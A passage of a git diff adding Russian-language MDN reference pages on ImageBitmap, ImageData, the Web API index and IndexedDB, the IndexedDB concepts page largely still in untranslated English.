+ <dt>{{domxref("ImageBitmap.height")}} {{readonlyInline}}</dt>
+ <dd>Высота  <code>ImageData</code> в CSS пикселях типа <code>unsigned</code> <code>long</code>.</dd>
+ <dt>{{domxref("ImageBitmap.width")}} {{readonlyInline}}</dt>
+ <dd>Ширина  <code>ImageData</code> в CSS пикселях типа <code>unsigned</code> <code>long</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("ImageBitmap.close()")}}</dt>
+ <dd>
+ <p>Удаляет все графические ресурсы связанные с <code>ImageBitmap</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "webappapis.html#imagebitmap", "ImageBitmap")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.ImageBitmap")}}</p>
+
+<h2 id="Полезные_ссылки">Полезные ссылки</h2>
+
+<ul>
+ <li>{{domxref("ImageBitmapFactories.createImageBitmap()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.drawImage()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texImage2D()")}}</li>
+ <li>{{domxref("OffScreenCanvas.transferToImageBitmap()")}}</li>
+</ul>
diff --git a/files/ru/web/api/imagedata/index.html b/files/ru/web/api/imagedata/index.html
new file mode 100644
index 0000000000..4614ea0d39
--- /dev/null
+++ b/files/ru/web/api/imagedata/index.html
@@ -0,0 +1,142 @@
+---
+title: ImageData
+slug: Web/API/ImageData
+translation_of: Web/API/ImageData
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p><font face="Open Sans, Arial, sans-serif">Интерфейс </font><code><strong>ImageData</strong></code> представляет лежащие в основе пиксельные данные области элемента {{HTMLElement("canvas")}}. Он создан используя конструктор {{domxref("ImageData.ImageData", "ImageData()")}} или метод создания объекта {{domxref("CanvasRenderingContext2D")}} ассоциированного с canvas: {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} и {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Он также может быть использован для установки части canvas используя метод {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}.</p>
+
+<h2 id="Конструкторы">Конструкторы</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}</dt>
+ <dd>Создаёт ImageData из указанного {{jsxref("Uint8ClampedArray")}} и из размера изображения которого он содержит. Если массив не указан, то он создаёт изображение чёрного прямоугольника. Обратите внимание, что такой довольно распространённый путь создания подобного объекта в worker'ах как {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} там не доступен.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.data")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{jsxref("Uint8ClampedArray")}} представляющий собой одномерный массив, содержащий данные цветовой модели RGBA, с целыми значениями от 0 до 255 (включительно).</dd>
+ <dt>{{domxref("ImageData.height")}} {{readonlyInline}}</dt>
+ <dd>Фактическая высота в пикселях объекта <code>ImageData</code>.</dd>
+ <dt>{{domxref("ImageData.width")}} {{readonlyInline}}</dt>
+ <dd>Фактическая ширина в пикселях объекта <code>ImageData</code>.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>9.0</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>Support in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageData()</code> constructor</td>
+   <td>{{CompatChrome("43")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("30")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("14")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>3.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Support in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageData()</code> constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>The {{HTMLElement("canvas")}} element and its associated interface, {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
diff --git a/files/ru/web/api/index.html b/files/ru/web/api/index.html
new file mode 100644
index 0000000000..9e798ecca0
--- /dev/null
+++ b/files/ru/web/api/index.html
@@ -0,0 +1,25 @@
+---
+title: Интерфейсы веб API
+slug: Web/API
+tags:
+  - API
+  - Apps
+  - JavaScript
+  - Reference
+  - Web
+  - Руководство
+translation_of: Web/API
+---
+<p>При написании кода на JavaScript для Веба доступно большое количество API. Ниже приведён список всех интерфейсов (то есть, типов объектов), которые вы можете использовать при разработке веб-приложения или сайта.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Список доступных API.</p>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>Список доступных интерфейсов (типы объектов).</p>
+
+<div>{{APIListAlpha}}</div>
diff --git a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
new file mode 100644
index 0000000000..1864f35f8d
--- /dev/null
+++ b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
@@ -0,0 +1,213 @@
+---
+title: Basic concepts
+slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+---
+<p>{{DefaultAPISidebar("IndexedDB")}}</p>
+
+<div class="summary">
+<p><strong>IndexedDB</strong> обеспечивает возможность постоянного хранения данных посредством браузера пользователя. Поскольку это наделяет создаваемые web-приложения с расширенными возможностями независимостью от доступа к сети, такие приложения получают возможность работы как online, так и offline. <strong>IndexedDB</strong> полезна для приложений, хранящих большое количество данных (например, каталог DVD библиотеки проката) и не нуждающихся в постоянном подключении к Интернету (например, почтовые клиенты, перечни запланированного to-do и заметки на память).</p>
+</div>
+
+<h2 id="Об_этом_документе">Об этом документе</h2>
+
+<p>В этом введении рассматриваются основные концепции и термины в IndexedDB. Оно содержит общую картину и объясняет ключевые понятия.</p>
+
+<p>Оно может стать полезным для:</p>
+
+<ul>
+ <li>Общего понимания дизайна и страуктуры IndexedDB, смотри <a href="#concepts">Big Concepts</a>.</li>
+ <li>Изучения большего о терминах в IndexedDB, смотри секцию <a href="#definitions">Definitions</a>.</li>
+ <li>Детального руководства как использовать API, смотри <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a>.</li>
+ <li>Рекомендованной документации по IndexedDB API, ссылаясь на основные статьи по <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a> и его подстраницы, описывающие, какие типы объектов используются в IndexedDB.</li>
+ <li>Получения больше информации о том, как браузер управляет сохранением данных в бекграунде, читай <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">Browser storage limits and eviction criteria</a>.</li>
+</ul>
+
+<h2 id="Обзор_IndexedDB">Обзор IndexedDB</h2>
+
+<p>IndexedDB позволяет сохранять и извлекать объекты, проиндексированные с помощью "ключа". Все манипуляции над базой данных происходят при помощи транзакций. Как и большинство решений для web-хранилищ, IndexedDB следует <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Поэтому, если получить доступ к сохраненным данным в пределах домена можно, то вне его - нет.</p>
+
+<p>IndexedDB - <a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">ассинхронное</a> API, которое может быть использовано в большинстве контекстов, включая <a href="/ru/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>. Раньше оно включало <a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">синхронную</a> версию, для использования в web workers, но это было удалено из спецификации в связи с недостатком интереса внутри web-сообщеста.</p>
+
+<p>Существует так же конкурирующая с IndexedDB спецификация, WebSQL Database, но W3C исключила ее 18 ноября 2010. Хотя IndexedDB и WebSQL оба являются решением для хранилищ, они предоставляют различный функционал. WebSQL Database - реляционная система доступа к базам данных, когда IndexedDB - система индексированной таблицы.</p>
+
+<h2 id="concepts" name="concepts">Big concepts</h2>
+
+<p>Если у вас есть опыт работы с другими типами баз данных, то вы можете быть сбиты с толку в процессе работы с IndexedDB. Поэтому имейте в виду следующие важные понятия:</p>
+
+<ul>
+ <li>
+  <p><strong>IndexedDB databases store key-value pairs.</strong> The values can be complex structured objects, and keys can be properties of those objects. You can create indexes that use any property of the objects for quick searching, as well as sorted enumeration. Keys can be binary objects.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB is built on a transactional database model</strong>. Everything you do in IndexedDB always happens in the context of a <a href="#gloss_transaction">transaction</a>. The IndexedDB API provides lots of objects that represent indexes, tables, cursors, and so on, but each of these is tied to a particular transaction. Thus, you cannot execute commands or open cursors outside of a transaction. Transactions have a well-defined lifetime, so attempting to use a transaction after it has completed throws exceptions. Also, transactions auto-commit and cannot be committed manually.</p>
+
+  <p>This transaction model is really useful when you consider what might happen if a user opened two instances of your web app in two different tabs simultaneously. Without transactional operations, the two instances could interfere with each other's modifications. If you are not familiar with transactions in a database, read the <a class="link-https" href="https://en.wikipedia.org/wiki/Database_transaction" title="https://secure.wikimedia.org/wikipedia/en/wiki/Database_transaction">Wikipedia article on transactions</a>. Also see <a href="#gloss_transaction">transaction</a> under the Definitions section.</p>
+ </li>
+ <li>
+  <p><strong>The IndexedDB API is mostly asynchronous.</strong> The API doesn't give you data by returning values; instead, you have to pass a callback function. You don't "store" a value into the database, or "retrieve" a value out of the database through synchronous means. Instead, you "request" that a database operation happens. You get notified by a DOM event when the operation finishes, and the type of event you get lets you know if the operation succeeded or failed. This sounds a little complicated at first, but there are sanity measures baked in. It's not that different from the way that <a href="/en/DOM/XMLHttpRequest" title="https://developer.mozilla.org/en/xmlhttprequest">XMLHttpRequest</a> works.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB uses a lot of requests. </strong>Requests are objects that receive the success or failure DOM events that were mentioned previously. They have <code style="font-size: 14px;">onsuccess</code> and <code style="font-size: 14px;">onerror</code> properties, and you can call <code style="font-size: 14px;">addEventListener()</code> and <code style="font-size: 14px;">removeEventListener()</code> on them. They also have <code style="font-size: 14px;">readyState</code>, <code style="font-size: 14px;">result</code>, and <code style="font-size: 14px;">errorCode</code> properties that tell you the status of the request. The <code style="font-size: 14px;">result</code> property is particularly magical, as it can be many different things, depending on how the request was generated (for example, an <code style="font-size: 14px;">IDBCursor</code> instance, or the key for a value that you just inserted into the database).</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB uses DOM events to notify you when results are available.</strong> DOM events always have a <code style="font-size: 14px;">type</code> property (in IndexedDB, it is most commonly set to <code style="font-size: 14px;">"success"</code> or <code style="font-size: 14px;">"error"</code>). DOM events also have a <code style="font-size: 14px;">target</code> property that indicates where the event is headed. In most cases, the <code style="font-size: 14px;">target</code> of an event is the <code style="font-size: 14px;">IDBRequest</code> object that was generated as a result of doing some database operation. Success events don't bubble up and they can't be canceled. Error events, on the other hand, do bubble, and can be cancelled. This is quite important, as error events abort whatever transactions they're running in, unless they are cancelled.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB is object-oriented.</strong> IndexedDB is not a relational database with tables representing collections of rows and columns. This important and fundamental difference affects the way you design and build your applications.</p>
+
+  <p>In a traditional relational data store, you would have a table that stores a collection of rows of data and columns of named types of data. IndexedDB, on the other hand, requires you to create an object store for a type of data and simply persist JavaScript objects to that store. Each object store can have a collection of indexes that makes it efficient to query and iterate across. If you are not familiar with object-oriented database management systems, read the <a class="external" href="https://en.wikipedia.org/wiki/Object_database" title="http://en.wikipedia.org/wiki/Object_database">Wikipedia article on object database</a>.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB does not use </strong><strong>Structured Query Language (<abbr>SQL</abbr>).</strong> It uses queries on an index that produces a cursor, which you use to iterate across the result set. If you are not familiar with NoSQL systems, read the <a class="external" href="https://en.wikipedia.org/wiki/NoSQL" title="http://en.wikipedia.org/wiki/NoSQL">Wikipedia article on NoSQL</a>.</p>
+ </li>
+ <li>
+  <p><a name="origin"><strong>IndexedDB adheres to a same-origin policy</strong></a>. An origin is the domain, application layer protocol, and port of a URL of the document where the script is being executed. Each origin has its own associated set of databases. Every database has a name that identifies it within an origin.</p>
+
+  <p>The security boundary imposed on IndexedDB prevents applications from accessing data with a different origin. For example, while an app or a page in <a class="external" href="http://www.example.com/app/" rel="freelink">http://www.example.com/app/</a> can retrieve data from <a class="external" href="http://www.example.com/dir/" rel="freelink">http://www.example.com/dir/</a>, because they have the same origin, it cannot retrieve data from <a class="external" href="http://www.example.com:8080/dir/" rel="freelink">http://www.example.com:8080/dir/</a> (different port) or <a class="link-https" href="https://www.example.com/dir/" rel="freelink">https://www.example.com/dir/</a> (different protocol), because they have different origins.</p>
+
+  <div class="note"><strong>Note</strong>: Third party window content (e.g. {{htmlelement("iframe")}} content) can access the IndexedDB store for the origin it is embedded into, unless the browser is set to <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">never accept third party cookies</a> (see {{bug("1147821")}}.)</div>
+ </li>
+</ul>
+
+<h2 id="definitions" name="definitions">Definitions</h2>
+
+<p>This section defines and explains terms used in the IndexedDB API.</p>
+
+<h3 id="database" name="database">Database</h3>
+
+<dl>
+ <dt><a name="gloss_database">database</a></dt>
+ <dd>A repository of information, typically comprising one or more <a href="#gloss_object_store" title="#gloss_object_store"><em>object stores</em></a>. Each database must have the following:
+ <ul>
+  <li>Name. This identifies the database within a specific origin and stays constant throughout its lifetime. The name can be any string value (including an empty string).</li>
+  <li>
+   <p>Current <a href="#gloss_version"><em>version</em></a>. When a database is first created, its version is the integer 1 if not specified otherwise. Each database can have only one version at any given time.</p>
+  </li>
+ </ul>
+ </dd>
+ <dt><a name="durable">durable</a></dt>
+ <dd>
+ <p>In Firefox, IndexedDB used to be <strong>durable</strong>, meaning that in a readwrite transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk.</p>
+
+ <p>As of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}), which is the same behaviour as other IndexedDB-supporting browsers. In this case the {{Event("complete")}} event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare, most consumers should not need to concern themselves further.</p>
+
+ <div class="note">
+ <p><strong>Note</strong>: In Firefox, if you wish to ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the <code>complete</code> event by creating a transaction using the experimental (non-standard) <code>readwriteflush</code> mode (see {{domxref("IDBDatabase.transaction")}}.) This is currently experimental, and can only be used if the <code>dom.indexedDB.experimental</code> pref is set to <code>true</code> in <code>about:config</code>.</p>
+ </div>
+ </dd>
+ <dt><a name="gloss_object_store">object store</a></dt>
+ <dd>
+ <p>The mechanism by which data is stored in the database. The object store persistently holds records, which are key-value pairs. Records within an object store are sorted according to the <em><a href="#gloss_key">keys</a></em> in an ascending order.</p>
+
+ <p>Every object store must have a name that is unique within its database. The object store can optionally have a <em><a href="#gloss_keygenerator">key generator</a></em> and a <em><a href="#gloss_keypath">key path</a></em>. If the object store has a key path, it is using <em><a href="#gloss_inline_key">in-line keys</a></em>; otherwise, it is using <em><a href="#gloss_outofline_key">out-of-line keys</a></em>.</p>
+
+ <p>For the reference documentation on object store, see {{domxref("IDBObjectStore")}}.</p>
+ </dd>
+ <dt><a name="gloss_version">version</a></dt>
+ <dd>When a database is first created, its version is the integer 1. Each database has one version at a time; a database can't exist in multiple versions at once. The only way to change the version is by opening it with a greater version than the current one. This will start a <a href="/en-US/docs/Web/API/IDBVersionChangeRequest"><code>versionchange</code></a> <em>transaction</em> and fire an <a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB"><code>upgradeneeded</code></a> event. The only place where the schema of the database can be updated is inside the handler of that event.</dd>
+ <dd>Note: This definition describes the <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">most recent specification</a>, which is only implemented in up-to-date browsers. Old browsers implemented the now deprecated and removed <a href="/en-US/docs/IndexedDB/IDBDatabase#setVersion()" title="/en-US/docs/IndexedDB/IDBDatabase#setVersion()"><code>IDBDatabase.setVersion()</code></a> method.</dd>
+ <dt><a name="gloss_database_connection">database connection</a></dt>
+ <dd>An operation created by opening a <em><a href="#gloss_database">database</a></em>. A given database can have multiple connections at the same time.</dd>
+ <dt><a name="gloss_transaction">transaction</a></dt>
+ <dd>
+ <p>An atomic set of data-access and data-modification operations on a particular database. It is how you interact with the data in a database. In fact, any reading or changing of data in the database must happen in a transaction.</p>
+
+ <p>A database connection can have several active transactions associated with it at a time, so long as the writing transactions do not have overlapping <a href="#scope"><em>scopes</em></a>. The scope of transactions, which is defined at creation, determines which object stores the transaction can interact with and remains constant for the lifetime of the transaction. So, for example, if a database connection already has a writing transaction with a scope that just covers the <code>flyingMonkey</code> object store, you can start a second transaction with a scope of the <code>unicornCentaur</code> and <code>unicornPegasus</code> object stores. As for reading transactions, you can have several of them — even overlapping ones.</p>
+
+ <p>Transactions are expected to be short-lived, so the browser can terminate a transaction that takes too long, in order to free up storage resources that the long-running transaction has locked. You can abort the transaction, which rolls back the changes made to the database in the transaction. And you don't even have to wait for the transaction to start or be active to abort it.</p>
+
+ <p>The three modes of transactions are: <code>readwrite</code>, <code>readonly</code>, and <code>versionchange</code>. The only way to create and delete object stores and indexes is by using a <a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB"><code>versionchange</code></a> transaction. To learn more about transaction types, see the reference article for <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a>.</p>
+
+ <p>Because everything happens within a transaction, it is a very important concept in IndexedDB. To learn more about transactions, especially on how they relate to versioning, see {{domxref("IDBTransaction")}}, which also has reference documentation.</p>
+ </dd>
+ <dt><a name="gloss_request">request</a></dt>
+ <dd>The operation by which reading and writing on a database is done. Every request represents one read or write operation.</dd>
+ <dt><a name="gloss_index">index</a></dt>
+ <dd>
+ <p>An index is a specialized object store for looking up records in another object store, called the <em>referenced object store</em>. The index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. The records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refer to the object store are automatically updated.</p>
+
+ <p>Alternatively, you can also look up records in an object store using the <a href="#gloss_key"> key</a><em>.</em></p>
+
+ <p>To learn more on using indexes, see <a href="/en/IndexedDB/Using_IndexedDB#Using_an_index" title="en/IndexedDB/Using_IndexedDB#Using_an_index">Using IndexedDB</a>. For the reference documentation on index, see <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>.</p>
+ </dd>
+</dl>
+
+<h3 id="key" name="key">Key and value</h3>
+
+<dl>
+ <dt><a name="gloss_key">key</a></dt>
+ <dd>
+ <p>A data value by which stored values are organized and retrieved in the object store. The object store can derive the key from one of three sources: a <em><a href="#gloss_keygenerator">key generator</a></em>, a <em><a href="#gloss_keypath">key path</a></em>, or an explicitly specified value. The key must be of a data type that has a number that is greater than the one before it. Each record in an object store must have a key that is unique within the same store, so you cannot have multiple records with the same key in a given object store.</p>
+
+ <p>A key can be one of the following types: <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, float, a binary blob, and <a href="/en/JavaScript/Reference/Global_Objects/Array" title="en/JavaScript/Reference/Global Objects/Array">array</a>. For arrays, the key can range from an empty value to infinity. And you can include an array within an array.</p>
+
+ <p>Alternatively, you can also look up records in an object store using the <em><a href="#gloss_index">index</a>.</em></p>
+ </dd>
+ <dt><a name="gloss_keygenerator">key generator</a></dt>
+ <dd>A mechanism for producing new keys in an ordered sequence. If an object store does not have a key generator, then the application must provide keys for records being stored. Generators are not shared between stores. This is more a browser implementation detail, because in web development, you don't really create or access key generators.</dd>
+ <dt><a name="gloss_inline_key">in-line key</a></dt>
+ <dd>A key that is stored as part of the stored value. It is found using a <em>key path</em>. An in-line key can be generated using a generator. After the key has been generated, it can then be stored in the value using the key path or it can also be used as a key.</dd>
+ <dt><a name="gloss_outofline_key">out-of-line key</a></dt>
+ <dd>A key that is stored separately from the value being stored.</dd>
+ <dt><a name="gloss_keypath">key path</a></dt>
+ <dd>Defines where the browser should extract the key from in the object store or index. A valid key path can include one of the following: an empty string, a JavaScript identifier, or multiple JavaScript identifiers separated by periods or an array containing any of those. It cannot include spaces.</dd>
+ <dt><a name="gloss_value">value</a></dt>
+ <dd>
+ <p>Each record has a value, which could include anything that can be expressed in JavaScript, including <a href="/en/JavaScript/Reference/Global_Objects/Boolean" rel="internal" title="en/JavaScript/Reference/Global_Objects/Boolean">boolean</a>, <a href="/en/JavaScript/Reference/Global_Objects/Number" rel="internal" title="en/JavaScript/Reference/Global_Objects/Number">number</a>, <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global Objects/Object">object</a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" rel="internal" title="en/JavaScript/Reference/Global_Objects/Array">array</a>, <a href="/en/JavaScript/Reference/Global_Objects/RegExp" rel="internal" title="en/JavaScript/Reference/Global_Objects/RegExp">regexp</a>, <a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global_Objects/undefined">undefined</a>, and null.</p>
+
+ <p>When an object or array is stored, the properties and values in that object or array can also be anything that is a valid value.</p>
+
+ <p><a href="/en/DOM/Blob" title="en/DOM/Blob">Blobs</a> and files can be stored, cf. <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">specification</a> {{ fx_minversion_inline("11") }}.</p>
+ </dd>
+</dl>
+
+<h3 id="range" name="range">Range and scope</h3>
+
+<dl>
+ <dt id="scope"><a id="gloss_scope" name="gloss_scope">scope</a></dt>
+ <dd>The set of object stores and indexes to which a transaction applies. The scopes of read-only transactions can overlap and execute at the same time. On the other hand, the scopes of writing transactions cannot overlap. You can still start several transactions with the same scope at the same time, but they just queue up and execute one after another.</dd>
+ <dt id="cursor"><a id="gloss_cursor" name="gloss_cursor">cursor</a></dt>
+ <dd>A mechanism for iterating over multiple records with a <em>key range</em>. The cursor has a source that indicates which index or object store it is iterating. It has a position within the range, and moves in a direction that is increasing or decreasing in the order of record keys. For the reference documentation on cursors, see {{domxref("IDBCursor")}}.</dd>
+ <dt id="key_range"><a id="gloss_keyrange" name="gloss_keyrange">key range</a></dt>
+ <dd>
+ <p>A continuous interval over some data type used for keys. Records can be retrieved from object stores and indexes using keys or a range of keys. You can limit or filter the range using lower and upper bounds. For example, you can iterate over all values of a key between x and y.</p>
+
+ <p>For the reference documentation on key range, see {{domxref("IDBKeyRange")}}.</p>
+ </dd>
+</dl>
+
+<h2 id="limitations" name="limitations">Limitations</h2>
+
+<p>IndexedDB is designed to cover most cases that need client-side storage. However, it is not designed for a few cases like the following:</p>
+
+<ul>
+ <li>Internationalized sorting. Not all languages sort strings in the same way, so internationalized sorting is not supported. While the database can't store data in a specific internationalized order, you can sort the data that you've read out of the database yourself. Note, however, that <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Locale-aware_sorting">locale-aware sorting</a> has been allowed with an experimental flag enabled (currently for Firefox only) since Firefox 43.</li>
+ <li>Synchronizing. The API is not designed to take care of synchronizing with a server-side database. You have to write code that synchronizes a client-side indexedDB database with a server-side database.</li>
+ <li>Full text searching. The API<span style="direction: ltr;"> does not have an</span><span style="direction: ltr;"> equivalent of the <code>LIKE</code> operator in SQL. </span></li>
+</ul>
+
+<p>In addition, be aware that browsers can wipe out the database, such as in the following conditions:</p>
+
+<ul>
+ <li>The user requests a wipe out. Many browsers have settings that let users wipe all data stored for a given website, including cookies, bookmarks, stored passwords, and IndexedDB data.</li>
+ <li>The browser is in private browsing mode. Some browsers, have "private browsing" (Firefox) or "incognito" (Chrome) modes. At the end of the session, the browser wipes out the database.</li>
+ <li>The disk or quota limit has been reached.</li>
+ <li>The data is corrupt.</li>
+ <li>An incompatible change is made to the feature.</li>
+</ul>
+
+<p>The exact circumstances and browser capabilities change over time, but the general philosophy of the browser vendors is to make the best effort to keep the data when possible.</p>
+
+<h2 id="next" name="next">Next steps</h2>
+
+<p>With these big concepts under our belts, we can get to more concrete stuff. For a tutorial on how to use the API, see <a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/"><span style="direction: ltr;">Indexed Database API Specification</span></a></li>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
diff --git a/files/ru/web/api/indexeddb_api/index.html b/files/ru/web/api/indexeddb_api/index.html
new file mode 100644
index 0000000000..7c1afe25b8
--- /dev/null
+++ b/files/ru/web/api/indexeddb_api/index.html
@@ -0,0 +1,160 @@
+---
+title: IndexedDB
+slug: Web/API/IndexedDB_API
+tags:
+  - API
+  - Database
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+translation_of: Web/API/IndexedDB_API
+---
+<div>{{DefaultAPISidebar("IndexedDB")}}</div>
+
+<p>IndexedDB — низкоуровневое API для клиентского хранилища большого объема структурированных данных, включая файлы/blobs. Эти API используют индексы для обеспечения высоко-производительного поиска данных. Если <a href="/en-US/docs/DOM/Storage">DOM Storage</a>  полезен для хранения небольшого количества данных, он менее выгоден для большого числа структурированных данных. IndexedDB предоставляет решение. Это основная страница на MDN, покрывающая IndexedDB — здесь мы предоставляем ссылки к полному списку API и руководствам по использованию, детали поддержки браузерами и некоторые объяснения ключевых концепций.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
